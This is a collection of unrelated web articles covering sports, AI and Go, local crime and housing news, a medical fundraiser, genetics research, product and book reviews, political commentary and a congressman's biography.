-What are the odds of that? £40,000-a-week Muslim Premier league star who refused to wear shirt sponsored by loan firm Wonga is spotted GAMBLING in casino  Senegalese Papiss Cisse is refusing to wear shirt with new sponsor  Under Sharia law, Muslims must not benefit from lending money  Cisse has offered to wear a charity brand instead but club are holding firm  Other Muslim players at the club have indicated they have no problem  Now a picture has emerged apparently showing him at a blackjack table  A picture has emerged apparently showing Muslim footballer Papiss Cisse at a casino table.  It comes as the Newcastle striker is at loggerheads with the club over their decision to replace old sponsor Virgin Money with pay-day loan company Wonga.  Cisse, who is one of a number of Muslim players at Newcastle, has told the hierarchy at the club that he is unwilling to wear the shirt as it conflicts with his religious beliefs.  But an image has emerged on Twitter that claims to show the Senegalese forward gambling in a casino. As well as the lending of money, gambling is not permissible in Islam.  Pictured in a casino: £40,000-a-week Muslim footballer Pappis Cisse who refuses to play for Newcastle because shirt sponsor is payday loan firm Wonga 'which compromises his religious beliefs'  Deadlock: Papiss Cisse has refused to wear Newcastle's new strip sponsored by loans company Wonga  Neither the club nor the player's agent were available for comment when approached by MailOnline.  Supporter Andrew McNally, who claims to have taken the photograph at a blackjack table in Aspers casino, said the striker spoke about upcoming Newcastle games as he placed £10 and £20 stakes.  ‘Cisse was just placing small bets, £10 or £20 with £5 chips,’ McNally told the Daily Mirror.  ‘A number of fans have said that they have seen him in there. You have to say it does undermine his stance on Wonga.'  It comes as the Muslim footballer may be forced to quit Newcastle United because of a row about the club's new sponsorship deal with payday loan firm.  The Senegalese striker, who is estimated to earn in the region of £40,000 a week, trained on his own on his return from his summer break last week after refusing to wear the branded training kit, as well as the match day shirt, because it is against his religious beliefs.  Under some interpretations of Sharia law, Muslims must not benefit from lending money. Interest is not paid on Islamic bank accounts or added to mortgages.  Former West Ham striker Frederic Kanoute - also a Muslim - was allowed by Sevilla to wear an unbranded shirt while they were sponsored by gambling company 888.com.  Newcastle signed a £24million deal with Wonga to replace Virgin Money as Newcastle's sponsors last year. The move provoked anger with some fans who were unhappy with the club being sponsored by a company which charges up to 5,853 per cent annual interest on short term loans.  Cisse has offered to wear charity-branded kit to resolve the dispute but that proposal has so far been rejected. The row has now been rumbling on for a number of weeks leading to speculation that Cisse may even be forced to quit the club. Objections: Payday loan company Wonga charges 5,853 per cent annual interest rates on short term loans Trouble ahead: Newcastle manager Alan Pardew must do without Cisse as the row rumbles on  Papiss Demba Cisse, pictured in January 2012 before signing for Newcastle United, is refusing to wear the club's sponsor's logo  Cisse, who did wear the Northern Rock and Virgin Money logos, made club chiefs aware he was uncomfortable wearing the new Wonga shirts when the controversial deal was announced at the end of last season, although other Muslim players at the club, including Hatem Ben Arfa, have not taken his stance.  The player and club have been involved in lengthy negotiations, even calling in the footballer's union the PFA, to resolve the situation which was hoped to be resolved before the players flew off the Portugal for a week's intensive training.  On Tuesday night, after their opening pre-season win over Motherwell in Scotland, manager Alan Pardew announced he was taking his full squad to Portugal, including Cisse.  But the striker was not on the flight which left Newcastle airport this afternoon and his absence has increased speculation that he could be forced to quit St James’s Park.  Cisse joined Newcastle in a £9million deal from Freiburg in January last year and he was an immediate success in the coveted Newcastle No 9 shirt, scoring 13 goals in 14 games.  While Ba flourished last season, before he quit for Chelsea in the January transfer window, Cisse struggled and he scored just eight league goals last season, although he did add four in Newcastle’s journey to the quarter-finals of the Europa Cup.
-SEOUL (Reuters) - South Korean Lee Sedol won his first match against a computer program developed by a Google subsidiary on Sunday in the ancient board game Go, denying a clean sweep for the artificial intelligence in a five-match series.  The world's top Go player Lee Sedol reviews the match after the fourth match of the Google DeepMind Challenge Match against Google's artificial intelligence program AlphaGo in Seoul, South Korea, in this handout picture provided by Google and released by News1 on March 13, 2016. REUTERS/Google/News1  Lee, one of the world’s top players and a holder of 18 international titles, recovered from three consecutive losses against the AlphaGo program developed by DeepMind.  “This win is invaluable and I would not trade it for anything else in the world,” a jubilant Lee told reporters after the match, thanking fans for their support.  The 33-year-old professional player has admitted to underestimating AlphaGo’s skills but also said the program was not perfect, asking supporters to keep watching the contest.  DeepMind founder Demis Hassabis told reporters the loss was a valuable learning tool and would help identify weaknesses in the program that his team needed to address.  “It’s a real testament to Mr Lee’s incredible fighting spirit and he was able to play so brilliantly today after three defeats,” Hassabis said.  Go, most popular in countries such as China, South Korea and Japan, involves two contestants moving black and white stones on a square grid, with the aim of seizing the most territory.  Experts did not expect an artificial intelligence program to beat a human professional for at least a decade, until AlphaGo beat a European champion player last year. Lee was considered a much more formidable opponent, however.  Google executives say Go offers too many possible moves for a machine to win simply through brute-force calculations, unlike chess, in which IBM’s Deep Blue famously beat former world champion Garry Kasparov in 1997.  Instead, they said, AlphaGo has sought to approximate human intuition, by studying old matches and using simulated games to hone itself independently.  The fifth and final match is scheduled for Tuesday.
-Transgender student reports sex assault at Hercules school  (03-03) 22:21 PST SAN FRANCISCO -- A 15-year-old transgender student reported being attacked and sexually assaulted Monday at the same Hercules school where another transgender student was involved in a fight four months ago, police said.  The latest incident - which is being investigated as a hate crime - was reported at Hercules Middle/High School on Refugio Valley Road about 11 a.m. by a transgender student who identifies as male, said Hercules police Detective Connie Van Putten.  The student said he was leaving the boys' bathroom when in a building on the high school part of campus when he was confronted by three male juveniles, Van Putten said.  The three pushed him into the bathroom's disabled stall, where they physically and sexually assaulted him, police said.  The boy's parents were notified, and he was taken to a hospital, Van Putten said.  Police were interviewing witnesses and had not identified suspects.  On Nov. 13, another transgender student, Jewlyes Gutierrez, 16, got into a fight with several students on campus, with a portion of the confrontation caught by a witness's cell-phone camera.  Gutierrez, who was born male but considers herself female, was charged with misdemeanor battery, but if she successfully completes a conflict resolution program, the allegation will be dropped, a judge said last month.  Charles Ramsey, president of the West Contra Costa County Unified School District board, said of Monday's incident, "I want to tell the parents that my heart goes out to them. I feel really bad for the victim."  Ramsey also sounded a warning to the attackers: "You will be expelled. You will be punished, and what we'll ask is that you are prosecuted to the fullest extent of the law. You can't assault students on campus, no matter who they are."
-Our daughter Vivian has had a really rough start and as a result we need some help with expenses.  After a low-risk, uneventful pregnancy, Vivian made her debut into our family via emergency c-section in June and spent the first month of her life in hospital in Christchurch Women's NICU.  Vivian suffered perinatal asphyxia at birth from severe meconium aspiration. When she was born she could not breathe on her own and doctors had trouble finding a heartbeat. She received extensive suctioning and was placed on a cooling system for the first three days of her life to protect her brain, intubated, and hooked up to BRAINZ monitors. She suffered some seizures in her early days and has been on anti-seizure medication since then.  Against the odds, Vivian's lungs began working on their own and most of her organs overcame the shock she suffered from oxygen deprivation. She had an MRI done when she was just a week old and it showed damage to most parts of her brain. Despite all of this, she is bright eyed and alert. If you looked at her you wouldn't know anything was different behind her little smile. We won't know a lot of what this means for Vivian until she grows up, but we are hoping that she will continue to surprise the doctors and keep beating odds.  This week Vivian started having some new seizures and doctors have confirmed that it looks like Vivian is having infantile spasms, a pretty rare form of epilepsy that presents in infants. Unfortunately it can be easily missed and we are lucky that we videoed the seizures for doctors to see. We hope to know more soon.  We may need to take a more aggressive approach to treating her condition if her current medication doesn't work. We're not sure at this time what this will entail, or if we will have to travel to Auckland in the near future to pursue private treatment for Vivian on our own, but we expect a long road ahead of us.  While Vivian was in hospital, her father was unable to work, and so we have gone through most of our savings. We're starting this fund to help cover ongoing expenses for medical treatment, transportation, therapy & educational needs she might have in the future.  Thank you so much for reading.
-As a parting gift to fair-housing advocates and low-income citizens, last Thursday City Council unanimously passed (on third and final reading) an ordinance that would ban discrimination based on a renter's source of income. Sponsored initially as a resolution in April by Council Members Bill Spelman, Sheryl Cole, and Laura Morrison, the rule amends city code to include "source of income" as a protected class alongside race, age, sexual orientation, and religion. The proposal is meant to broaden housing opportunities for the working poor, the disabled, veterans, and the elderly by granting a hand up to recipients of child support or government subsidy – such as those in the U.S. Housing and Urban Development's Housing Choice Voucher program (commonly referred to as Section 8). It does not apply to those who own no more than three single-family homes at any one time and do not use a Realtor or broker, or those who own a dwelling that contains no more than four units and maintain and occupy one of the units.  However, potential tenants barely had 24 hours to celebrate – the following day, the Austin Apartment Association filed suit in Travis County District Court seeking an injunction to block the ordinance, set to go into effect on Jan. 12. The lawsuit claims that the new ordinance would force property owners to contract involuntarily with the federal government's "historically troubled" HUD program, and impose complex bureaucratic requirements.  Landlords will be tied to a "one-sided contract" and "bear the burden of mandatory participation" in Section 8, said AAA President Robbie Robinson during a press conference last Friday morning at the association's headquarters. Slamming onto the podium a rulebook of regulations, former Texas Supreme Court Judge Craig Enoch, now representing AAA in the suit, alleged the government would control rents and lease terms. "A small vocal group has clouded any thoughtful approach to Austin's housing issues," said Enoch. "This is another example of government overreach that contributes to [a higher cost of living]."  The city legal department disagrees, and in a statement said the rule has the effect only of prohibiting discrimination, and that the city is "prepared to defend this ordinance against any legal challenges."  According to the Housing Authority of the City of Austin, some 5,800 households receive Section 8 vouchers, but the need is much greater. When HACA reopened the voucher program to new recipients in October (for the first time since 2006), the number of applicants surpassed expectations: HACA received 19,175 applications (including 2,600 homeless applicants) comprising 44,832 residents to fill just 2,500 spots. And the few who do gain entrance into the program could easily be denied a lease.  A 2012 Austin Tenants' Council survey found that 91% of private landlords (544 of 600 across five counties) refused to house Section 8 voucher recipients – often rejecting voucher holders even when the voucher payment is high enough to cover market rents. The survey concluded that landlords' refusal to accept Section 8 "drastically reduces the effectiveness of the program."  Brian McGiverin, an attorney with the Texas Civil Rights Project, said the voucher program is meant to grant upward mobility to residents seeking to escape generational poverty. However, Austin housing voucher recipients are typically relegated to "low opportunity areas" (that is, areas with high crime, poorly performing schools, etc.), due to land­lords' current ability to reject applicants.  "It's a really important step, because our experience has shown the ordinance is necessary to achieve the goal of the housing voucher program," said McGiverin. "There has been a stark level of discrimination in high opportunity areas of the city – there are virtually no voucher users west of MoPac. I think this ordinance is a really smart and straightforward way to begin to fix that." McGiverin also dismissed the claim that HUD compliance requirements are too onerous: "Once this goes into effect, I believe those who opposed it so vehemently will frankly be embarrassed they took that position."  To date, 12 states, plus Washington, D.C., and more than 30 local jurisdictions – including San Francisco, Seattle, Chicago, and New York City – have banned source-of-income discrimination, according to the Poverty & Race Research Action Council. While Dallas is moving in that direction under the terms of a HUD investigation settlement, Austin would be the first city in Texas to enact such an ordinance.  The dispute apparently won't end with the AAA lawsuit. David Mintz, of the Texas Apartment Association, said that state legislators plan to file a bill this session seeking to preempt source-of-income discrimination protections. "I can't name the authors, but we do have commitments from them to file in the next couple of weeks," he told the Chronicle.
-Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  The faces of murderers or rapists could be 'recreated' from DNA left at the scene of the crime, according to new research.  Scientists have identified the genes that shape the extraordinary variation in the human face.  Many features, such as nose size and face width, stem from specific mutations, say researchers.  Previous studies have suggested they are controlled by genes , but this is the first to shed light on how variants contribute to the range of different forms we see.  The findings published in PLOS Genetics may also help researchers to learn how facial birth defects arise.  And they could even have applications in forensics, helping police construct more accurate faces of dangerous criminals being hunted for murders, rapes and robberies.  The discovery of the genes that determine human facial shape could provide valuable information about a person's appearance using just DNA left behind at the scene of a crime.  They are based on a DNA analysis of 20 facial characteristics measured from 3D images of 3,118 healthy volunteers of European ancestry and almost a million mutations, or SNPs (single base pair) variations.  (Image: Getty)  Dr John Shaffer, of the University of Pittsburgh , said: "There is a great deal of evidence genes influence facial appearance.  "This is perhaps most apparent when we look at our own families, since we are more likely to share facial features in common with our close relatives than with unrelated individuals.  "Nevertheless, little is known about how variation in specific regions of the genome relates to the kinds of distinguishing facial characteristics that give us our unique identities, e.g., the size and shape of our nose or how far apart our eyes are spaced.  "In this paper, we investigate this question by examining the association between genetic variants across the whole genome and a set of measurements designed to capture key aspects of facial form.  "We found evidence of genetic associations involving measures of eye, nose, and facial breadth.  "In several cases, implicated regions contained genes known to play roles in embryonic face formation or in syndromes in which the face is affected.  "Our ability to connect specific genetic variants to ubiquitous facial traits can inform our understanding of normal and abnormal craniofacial development, provide potential predictive models of evolutionary changes in human facial features, and improve our ability to create forensic facial reconstructions from DNA."  Facial width, the distance between the eyes, the size of the nose and the distance between the lips and eyes all had statistically significant associations with certain SNPs.  The researchers also considered results from two similar studies and confirmed certain previous findings.  Until recently, virtually nothing was known about the genes responsible for facial shape in humans.  (Image: Getty)  Added co author Dr Seth Weinberg: "Our analysis identified several genetic associations with facial features not previously described in earlier genome wide studies.  "What is exciting is many of these associations involve chromosomal regions harbouring genes with known craniofacial function.  "Such findings can provide insights into the role genes play in the formation of the face and improve our understanding of the causal factors leading to certain craniofacial birth defects."  Several of the genetic regions contributing to face shape detected contain genes known to play a role in facial development and abnormalities.  In the future, the scientists hope to identify genetic risk factors that lead to anomalies such as cleft lip and palate.  But they warned it is important to keep in mind these findings likely represent only a small fraction of the genes influencing the size and shape of the human face.  Many of the genes influencing facial features are likely to have small effects, so successfully mapping a large number of these genes will require much greater sample sizes and a more comprehensive approach to quantifying those of interest.
-Many athletes have been moved to comment on race and social justice more frequently in the past year after a series of police shootings of unarmed African-Americans and the support Mr. Trump has received from white supremacists.  Last year, Colin Kaepernick, then a quarterback for the San Francisco 49ers, began kneeling during the playing of the national anthem, to highlight, he has said, police brutality and racial injustice. He left the team this season and has not worked since, inspiring debate over whether teams are punishing him, while many players have knelt or made gestures in support of him during the anthem.  At the same time, some owners of N.F.L. teams have suggested that players should not take part in political demonstrations during games. None appeared to speak up for Mr. Trump on Saturday, while some of the owners who have donated primarily to left-leaning causes and politicians put out statements critical of him.  “It’s unfortunate that the president decided to use his immense platform to make divisive and offensive statements about our players and the N.F.L.,’’ said Mark Murphy, the president and chief executive of the Green Bay Packers.  Mr. Trump’s outbursts against athletes and their leagues came as he was smarting from yet another setback in his effort to repeal the Affordable Care Act, and as he worked to stoke enthusiasm among his core supporters in the deeply conservative state of Alabama, where he attended a campaign rally for Mr. Strange, whom many of them regard as an establishment Republican unworthy of their backing.
-She appeared from the confines of her sanctuary, white robe billowing behind her as she strode toward me, and with the air of authority that 30 years of life and a few years of medical school bestowed upon her demanded her patient be taken where she, the physician, ordered.  I stepped out of the elevator and asked my partner to continue toward the ER, which was 100 yards away, in the same building. My patient was having enough problems and did not need to witness a very unprofessional display.  “My protocols are very specific,” I explained to Daughter of Socrates. “The patient is in sinus tachycardia, and the appropriate facility for this patient is here, not there.”  Related article Soundtrack to Saturday night mayhem  “Are you a physician?” she gloated, as 20 now extremely uncomfortable people watched the display, some eager for the elevator doors to open and offer an escape, others amused by the spectacle.  “No, I’m the EMT, and she is now my patient.”  “She’s my patient, and you will take her where I tell you.”  The dispute  What’s next, I wondered.  “Is not.”  “Is too.”  “Is not.”  “Is too.”  “Is not.”  “Infinity!”  I couldn’t wait for the elevator doors to open so I could get back to MY patient. The doctor fumed. Had she or an informed representative of hers greeted us and explained the situation, and had a continuation of care form and a copy of the EKG and pertinent history been ready — rather than a curt reply from a secretary stating, “it’s in the computer” when I asked for the reason for our summons — things would have gone differently.  The inquisition  “What is your name?” she demanded.  I told her.  “Who is your supervisor?”  I told her. And for good measure I also told her the name of the director of emergency medical services for the State of Rhode Island.  “I want their phone numbers.”  “I’ve got a patient to take care of, go away.”  “There are plenty of people taking care of her,” she replied, referring to the four firefighters and my driver who responded to the 911 call for a female with a rapid heart rate.  We come to this place a number of times every week; the staff refuses to use the hospital’s transport system or a private ambulance company, preferring the speed with which the 911 responders arrive.  Blessed escape  After an eternity, Moses parted the Red Sea, and the elevator doors opened. I jumped into the full car, behind the other passengers, and waited for the doors to close, separating me from the aggressor.  “What is their phone number!” she demanded.  “Call 911, you have that one on speed dial.”  The doors closed.  Looks like I’ve got some typing to do.  I get more respect from people living on the streets, with nothing, no money, no food and no education than I did from that doctor. I think I’m going to put a little extra effort into my report.
-LEGO released its first wave of LEGO Star Wars Rogue One sets in October, but we’ve decided to wait until both our readers and we ourselves have had a chance to see the movie, released in most countries on December 16. We’ll be reviewing all of the current Rogue One sets, starting today with 75152 Imperial Assault Hovertank, which includes 3 minifigs with 385 pieces and retails for $30.  Now that the movie is out, we’ll be talking about the movie’s characters and plot in our Rogue One LEGO set reviews, so come back and read our review later if you want to remain spoiler-free. But if you’re just interested in our recommendation now before you see the movie, this is a great value and I recommend the set heartily to any Star Wars fan.  The build  The set comes in four numbered bags, with an 80-page instruction booklet spanning 133 steps.  Unlike many recent sets, the first bag includes the set’s hero minifig, the blind warrior-monk Chirrut Îmwe. Like most small to mid-sized LEGO sets geared toward the core 7-12 age range, the build is modular, with sections that correspond to the bags.  The first bag includes the parts for the tank’s main body, without the side sections or rear cargo deck. The flick-fire missile shooters are so well-integrated into the build that they’re one of the first bricks you place on the first plates.  It’s a mostly studs-up build, with Technic pin holes to attach future sections from subsequent bags.  The second bag includes the left-hand propulsion section, with its tensor field radiator channels attached as a sub-assembly. Like several of the Force Awakens LEGO sets, the hovertank includes clear Technic flywheels so that the vehicle can appear to levitate (but more on this point later).  The third bag — you guessed it — adds the mirror-image right section, and the tank begins to come together. Bag 3 also includes both of the Imperial tanker minifigs. Both side sections have plenty of detail, including the sponson-mounted laser cannons, and they’re small enough that the pair don’t feel particularly repetitive to build.  The fourth and final bag includes the rear cargo deck and orange kyber crystal transport crate, along with the rear radiator vanes.  The most interesting part of the build, from a technique standpoint at least, is the kyber crystal crate.  The crate is built studs-out, with a removable lid for storage. Obviously to prevent spoilers about the nature of the cargo (kyber crystals to power the Death Star’s primary weapon), the LEGO set designers didn’t include any LEGO crystals in the set. Instead, the lid opens and there’s room to store a blaster and a pair of macrobinoculars.  The finished model  First and perhaps most importantly, the vehicle in the movie is not a hovertank. According to DK’s Star Wars: Rogue One: The Ultimate Visual Guide, the TX-225 “Occupier” combat assault tank comes in two variants — a repulserlift version and one on conventional tracks. The Occupiers in service on Jedha were all GAVAw variants with tracks. (The nod to the GAVr repulserlift variant almost seems like an attempt by the author — head of story development at Lucasfilm — to retcon hovertank toys like this one back into the Star Wars universe.)  Of course, attempting to fit working continuous track into a set that’s pretty close to the right scale would have been essentially impossible for the LEGO designers, so it’s hard to fault the inaccuracy.  The tank has numerous play features, including the sponson-mounted laser cannons, which are integrated nicely into the propulsion sections with arches, and move up and down so Imperials can take out Rebels on terraces above street level.  The interior has space for both of the minifigs, seated behind each other. The forward angled plating doesn’t open on the movie vehicle, but opens so you can place the minifigs.  One major design failure is the roof hatch, which uses a standard 6×8 trapdoor mechanism. While it’s useful for placing the rear minifig, a significant plot point in the movie occurs when the tank commander in his cupola gets shot (preventing him from continuing to fire his antipersonnel blaster), but the old-style trapdoor precludes proper placement of the minifig. If the designers could do it for the Rogue One LEGO AT-ST (75153), I’m confident they could have found a solution here.  Commander cupola conundrums and GAVw/GAVr variant nerdery aside, the finished model looks pretty great, rolls nicely, has well-integrated missile shooters, and includes enough play features to keep the average 11-year-old kid (or 42-year-old Star Wars geek) amused for at least a few minutes.  The minifigures  The set includes three minifigs — Chirrut Îmwe and two identical tank crew Stormtroopers (presumably a driver or gunner and the commander). Chirrut Îmwe carries his lightbow, powerful enough to take down a TIE fighter, as well as his walking stick.  Chirrut’s robes are made from standard LEGO cloth, and wrap around his waist. His back is also fully printed, and he has a dual-sided head with alternate expressions.  The tank crew minifigs also have front and back printing, with a new helmet mold (as well as new designs for their torsos and legs). The head underneath the helmet is the current standard Stormtrooper head.  New Stormtrooper variants are always interesting, if you’re into that sort of thing, but the hero here is obviously Chirrut Îmwe, currently unique to this LEGO set.  Conclusions & recommendation  Like the AT-ST, this set is heavily underpriced for a Star Wars set, at only $30 for 385 pieces and three figs. It’s not a particularly challenging build, and there are certainly flaws in its design from an accuracy standpoint (like the missing tracks and commander’s hatch).  But overall this is actually quite a fun little set, with one of my new favorite Star Wars characters and a final model that’s fun to roll around. Plus, there’s good value for the money, particularly when the set is on sale for even less than $30.  This might not be your cup of tea (or bricks) if you’re not a Star Wars fan, given that there aren’t really any new or especially interesting parts in the set, but if you’ve come to accept your inner Star Wars geek as I have, I can heartily recommend 75152 Imperial Assault Hovertank.  75152 Imperial Assault Hovertank is available now from both Amazon.com (at $27.46 and up from third-party sellers at the moment) and the LEGO Shop (at $29.99).
-By Don Todd  Those of us who believe in free markets are somewhat flummoxed by the fact that the state owned British Broadcasting Corporation continues to put out morally based superior programing while investor based Hollywood continues to pump cultural sewage into our living rooms and town squares.  We should start calling Dreamers what they are: Nightmares.  The Senate recently unanimously passed a resolution condemning white supremacy whatever that is. When you see the Senate do things like that do you think my God what we do without them? No.  We are constantly hearing how illegal aliens pay taxes when the fact of the matter is many of them are paid under the table. It makes sense that people who violate our immigration laws will also ignore our tax and employment laws.  Ever since Steve Bannon let the cat out of the open bag (Hillary is dumb) she has set about on a national tour to prove it. Lately she announced she believes the Electoral College should be abolished. That way a candidate could lose forty-nine states carry one by huge vote fraud and be elected President.  We are not a nation of immigrants we are a nation of citizens.  One way to get back at Hollywood is to go on Rotten Tomatoes web site and trash their product the same way their product trashes America.  If cheap labor led to a manufacturing boom Haiti would be the most industrialized nation in the world.  You know you are getting old when your favorite TV station runs mostly ads touting pharmaceuticals balanced by ads encouraging you to sue pharmaceutical companies.  When is the last time you heard someone say, “I am white and I am supreme”?  Why does the legacy media label various events as demonstrations instead of what they are: riots?  Does the National Socialist Workers Party (Nazi) sound like a right-wing outfit to you?  That Jimmy Kimmel is sure a funny guy. Not.  All these Democrats on their knees kind of reminds you of Monica Lewinski.  Everything the left touches it destroys whether it be healthcare or football.  A fellow who sold dirty pictures for a living and lived a life of debauchery died recently. If you recognize who we are talking about then you agree.  Funny, whenever there is talk of a tax cut Washington types start wringing their hands and fretting over, “How is the government going to pay for this?” When taxes go up those same Washington types never fret over, “How is the taxpayer going to pay for this?”  The diehard never Trumpers are the true bitter clingers.  The core argument against Alabama Senate Candidate Roy Moore seems to be that he holds traditional Christian beliefs. Were he a Muslim challenging his religious beliefs would be unacceptable.  Former President Barack Obama doubled the national debt. That means he added more to the debt than all the Presidents before him from Washington on combined. What a guy! Is it any wonder that the Marxist Stream Media continually tells us how smart he is?  If a cashier at your local supermarket alienated sixty percent of the customers going through their line they would be summarily fired. The question is should millionaire football players be held to the same standard as grocery store cashiers?  Don Todd is President of Americans for Limited Foundation
-My thoughts:  As is often the case, Garak wound up being one of my favorite things in this novel!  Final thoughts:  More about Inferno:  Also by Judith & Garfield Reeves-Stevens:  marks the conclusion of thetrilogy, three books that unironically embody the word "epic." Perhaps it's a cliche that so manyadventures involve the "end of the universe as we know it," and of course we all know that the universe won't really be destroyed. So, fittingly, at the end of the last novel,, all of creation is... destroyed.How do you come back from that?At the beginning of the novel, each of our characters are living their own "personal hell," constructed for them by the Pah-Wraiths. We soon come to understand the unreality of these situations as, one-by-one, they are pulled out into what the multi-verse has become: a sort of strange purgatory, seemingly inside the red wormhole. I'm glad the authors didn't linger too long on each of the characters' vision of hell; Jake Sisko's in particular, in which every word he wrote was being erased, quickly catching up to him as he wrote, was truly horrific. I still shudder visibly when thinking about it.What impressed me the most aboutwas that it answered all of the questions raised in the first two novels in a surprisingly satisfying fashion. While reading the previous book, I got that feeling that's similar to the one I got when first watching "The Best of Both Worlds": how the heck are they going to get out of this? Unlike that famous cliffhanger episode, however, the authors had a clear plan for the resolution of this story going in.I see a number of reviewers online decrying this story as a convoluted mess of time travel, and I can certainly see how someone would come to that conclusion. While most of the time I readfiction as pure escapism, I appreciate a good story that requires you to think. And, if nothing else, requires you to engage your brain and pay attention. It is extremely easy to get lost in the myriad twists and turns, with some of the plot points seeming to come out of nowhere. However, the entire trilogy is meticulously crafted and requires the reader to pay very close attention for it all to make sense. I must admit that some plot points flew light-years over my head the first time, and it took a closer reading to make everything make sense. But eventually, make sense it does.Seemingly minor plot details dropped into the story in the first book pay off with surprising significance in book three, while other moments will make the reader slap his or her head and say, "so *that's* what that meant!" In the end, many of the situations the characters face in the course of the trilogy seem to have been engineered specifically by a particular group who knew how things were "supposed" to play out. This struck me as amusing, as one can cast the authors of these novels in those roles, almost as a sort of "fourth-wall" break.I realize that this review has veered away from a typical discussion of the plot and has become a little more abstract; I suppose that is a reflection of the sort of book this is. It's difficult to discuss elements of the plot in great detail as I feel that would multiply the length of this review significantly. Instead, I will highlight a couple of scenes that stood out to me. First, we get a version of Garak interacting with his future self. I absolutely loved this part of the story, and I would have loved to have seen Andrew Robinson tackle this. One Garak is terrific, while two is very nearly perfection.Also, I have to highlight a scene in which Odo converses with Vic Fontaine on an empty and abandoned. This part was surprisingly touching and poignant, with the two characters reflecting on reality and their ultimate fates. Vic Fontaine, for being a hologram, was a character that brought a lot of humanity to, and his character is used to great effect here.wraps up thetrilogy in a more satisfying manner than I honestly expected. Some readers will certainly be put off by the very complex and interweaving plot twists and turns, but the Reeves-Stevenses have obviously worked very hard to make everything line up correctly. This is a novel (and a trilogy) that requires the reader to pay close attention, as even the smallest plot details end up being significant and play out in unexpected ways. However, even if all aspects of the story aren't completely understood by the reader, I was left feeling thatwas a satisfying conclusion to the overall story.
-Donald Trump’s planned tour of the Laredo Sector of the Texas -Mexico border has been canceled by the national AFL-CIO-controlled union that represents U.S. Border Patrol agents, the National Border Patrol Council (NBPC). Border Patrol agent Hector Garza acted in his role as Local 2455 president to honor Trump by inviting him to see his section of border in Laredo firsthand. Agent Garza confirmed to Breitbart Texas that the national union had stepped in and insisted that the Laredo local back out of honoring Trump with the border tour. Agent Garza said he expected Trump to continue without the participation of the union.  An inside source with knowledge of the internal NBPC discussion over the Trump visit told Breitbart Texas, “The union is about to put out a press release saving face for the local who invited Trump and the union itself by saying they are canceling their participation because Trump said he was “being honored” and that “agents supported him.”  One Border Patrol agent who spoke with Breitbart Texas on the condition of anonymity said, “The union has largely appealed to the public for more attention to the dangers posed by illegal immigrants who cross the border, so it’s strange that the AFL-CIO side would take lead and try to hurt a presidential candidate for saying the same things the union always says. This kind of crap is why I left the union.” The agent continued, “The agents who actually work on the border invited him. This seems contrived.”  To understand the reasons behind Local 2455 inviting Trump to bring attention to what the agents are facing, a brief understanding of the Texas-Mexico border and the Laredo Sector’s struggles are needed.  Texas has five border sectors. from East to West they are the Rio Grande Valley Sector (RGV), the Laredo Sector, the Del Rio Sector, the Big Bend Sector, and the El Paso Sector. Immediately after Breitbart Texas broke the June 5, 2014 leaked images of minors warehoused in RGV Border Patrol facilities, the State of Texas announced an effort to help secure the border. However, in that instance, Texas only sent help to the RGV Sector, largely ignoring the Laredo Sector.  Both the RGV and Laredo Sectors are worse off than most of the other sectors on the U.S.-Mexico border, largely due to the behaviors and characteristics of the specific Mexican cartels operating in these areas. Most of the border has the more professional Sinaloa Federation, an entity very concerned with keeping a low profile and staying out of the public eye. Both the Gulf and the Zetas have had leadership decimated and younger, less professional leaders take over and war with each other. Unlike the RGV Sector that received state help to handle the Gulf cartel, the Laredo Sector has largely been left to fight a losing battle against the Zetas cartel.  Follow Breitbart Texas Managing Director Brandon Darby on Twitter: @brandondarby  Breitbart Texas has been supportive of both the NBPC and Local 2455 by sponsoring a podcast and helping to bring a voice to the agents they represent. Local 2455 previously honored this writer for such efforts.
-Howard Worth Smith was born on February 2, 1883, in rural Broad Run, Fauquier County . He attended public schools and graduated from Bethel Military Academy in Warrenton, Virginia. After graduating from the University of Virginia , he opened a law practice in Alexandria. During World War I (1914–1918), he served as assistant general counsel to the Federal Alien Property Custodian, which administered claims relating to the seizure of foreign-owned property. From 1918 until 1922, Smith was commonwealth's attorney for Alexandria, before becoming a corporation court judge. As his career in law and politics blossomed, "Judge" Smith also pursued interests in farming, dairying, and banking, as well as part ownership of the Alexandria Gazette. He married Lillian Proctor on November 4, 1913, and they had two children—Howard Jr. and Violett. After his first wife died in the worldwide flu pandemic of 1919, Smith married Ann Corcoran in 1923.  In 1930, Smith won election to the United States House of Representatives from Virginia's Eighth Congressional District and advocated states' rights, fiscal responsibility, and white supremacy. As the Great Depression pushed the federal government to embrace liberal solutions to the fiscal crisis, Smith found himself increasingly at odds with the direction of national policy. His ire was particularly drawn toward Communists, whom he believed were behind the push for social welfare, organized labor, and the civil rights movement.  To fight subversion, Smith wrote the Alien Registration Act, or Smith Act, of 1940, which required aliens to register with the federal government and which made it a crime to advocate the overthrow of the federal government. It was this law that became a crucial weapon in targeting radicals during the Cold War, culminating in the U.S. Supreme Court decision Dennis v. United States (1951), which upheld the convictions of several Communist Party leaders. The law remains in effect.  At the same time, Smith tried to redress the balance of power between organized labor and business. He held hearings on the National Labor Relations Board in 1940, which was established under the pro-union Wagner Act of 1935. The well-publicized hearings' recommendations ultimately resulted in the Taft-Hartley Act of 1947, which outlawed compulsory unionism and secondary boycotts, among other provisions.  Smith used his considerable parliamentary skills to delay, sabotage, or kill legislation for government assistance and civil rights. As an obstructionist, he was an acknowledged master, leading the one-hundred-member conservative coalition of southern Democrats and northern Republicans and chairing the powerful House Rules Committee, which set the conditions under which bills could be considered. So vast was Smith's influence that U.S. president John F. Kennedy supported successful efforts to reduce the powers of the Rules Committee.  When the monumental Civil Rights Act of 1964 was proposed, the Rules Committee had been largely emasculated. Nevertheless, Smith used every trick at his disposal to try to sink the measure. When passage nevertheless seemed likely, Smith, at the urging of members of the National Woman's Party, volunteered to introduce an amendment to give women, especially white women, equal rights in employment. In this respect, Smith can be called a midwife of the modern feminist movement, although his impact can be considered ironic given the fact that some claim he added the word "sex" to the bill's language as a way to draw votes away from the proposed legislation, which he detested. Smith later insisted that he sincerely supported women's rights, but the Congressional Record notes that there was laughter when Smith introduced his amendment.  In a half-century of politics, Smith lost only two elections. When U.S. senator Carter Glass died in 1946, Smith ran unsuccessfully to replace him. But the Byrd Organization, the state's powerful Democratic political machine to which Smith belonged, threw its weight to a rival candidate, A. Willis Robertson. Smith's long career ended with his second defeat twenty years later. In a shocking upset, the eighty-three-year-old Smith lost his bid for party renomination to George C. Rawlings Jr., a little-known liberal challenger, who in turn lost the general election to Republican William L. Scott.  